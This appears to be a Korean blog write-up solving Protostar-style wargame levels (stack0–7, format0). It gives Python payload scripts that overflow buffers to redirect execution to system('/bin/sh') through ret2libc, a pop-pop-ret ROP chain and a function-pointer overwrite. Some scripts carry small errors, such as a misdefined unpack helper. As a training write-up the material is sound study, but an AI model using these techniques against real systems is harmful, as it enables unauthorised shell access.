FSB를 이용하여 전역변수인 target을 바꾸는 것이 목표입니다.



objdump -t 를 이용하여 target 변수의 주소를 확인해줍니다.



131번 만큼 포맷을 출력 해주면 우리가 입력한 AAAA가 나타납니다.




이 값을 포맷을 그대로 맞춰서 변경해주면 target 변수의 값이 바뀝니다.




sprintf 취약점을 이용한 BOF네요.

strcpy와 동일합니다.



값을 바꿔줍시다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*80
payload += p(system)
payload += 'BBBB'
payload += p(binsh)

print payload

format0.py



쉘도 따줍시다.




이번엔 0xb를 필터링합니다.

지금까지 사용하던 system 함수의 주소가 0xb7ecffb0이었으니 RTL은 못쓰겠네요.

ROP를 써봅시다.




#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf
ppr = 0x80485c7

payload = 'A'*80
payload += p(ppr)
payload += 'BBBB'
payload += 'BBBB'
payload += p(system)
payload += 'CCCC'
payload += p(binsh)

print payload

stack7.py



objdump에서 뽑아낸 ppr 가젯을 이용하여 ROP를 때려줍시다.

쉘을 따줍니다.





이번엔 RTL을 이용한 풀이입니다.




#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*80
payload += p(system)
payload += 'B'*4
payload += p(binsh)

print payload


stack6.py



쉘을 따줍시다.


이번엔 그냥 쉘을 따는게 목표네요.




#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf
win = 0x80483f4

payload = 'A'*76
payload += p(system)
payload += 'B'*4
payload += p(binsh)

print payload

stack5.py




따줍시다.



이번에는 코드 플로우를 바꿔보라고 합니다.




ret를 win 함수의 주소로 바꿔줍시다.




#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf
win = 0x80483f4

payload = 'A'*76
payload += p(system)
payload += 'B'*4
payload += p(binsh)

print payload


stack4.py



쉘도 따줍시다.



이번엔 함수포인터를 바꿔주랍니다.



바꿔줍시다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: unpack("<L",x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf
win = 0x8048424

payload = 'A'*64
payload += p(win)
payload += 'A'*12
payload += p(system)
payload += 'AAAA'
payload += p(binsh)

print payload

stack3.py



쉘도 따줍시다.




이번에는 환경변수로 입력 받은 값을 buffer에 집어넣어주네요.



넣어줍시다.

대신, 0x0a, 0x0d의 경우 개행을 나타내는 hex value이기 때문에 double quotation으로 한번 더 묶어줍시다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: unpack("<L",x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*84
payload += p(system)
payload += 'AAAA'
payload += p(binsh)

print payload

stack2.py





쉘도 따줍시다.


이번에는 0,1이 아닌 특정 4바이트 값으로 바꿔야하네요.


#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: unpack("<L",x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*80
payload += p(system)
payload += 'AAAA'
payload += p(binsh)

print payload

stack1.py

값도 바꿔보고, 쉘도 따봅니다.




졸리다..



그냥 modified의 값을 바꾸면 되나 봅니다.


바꿔줍시다.

이 바이너리에는 더미바이트가 따로 없나보네요. buf 이후에 1바이트만 덮어 씌워 줘도 modified 변수가 바뀌네요.




쉘도 따봅니다.


#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: unpack("<L",x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*80
payload += p(system)
payload += 'AAAA'
payload += p(binsh)

print payload



이런식으로 pack 해서 보낼수도 있다고 합니다.




그래서 이것도 해봤습니다.



+ Recent posts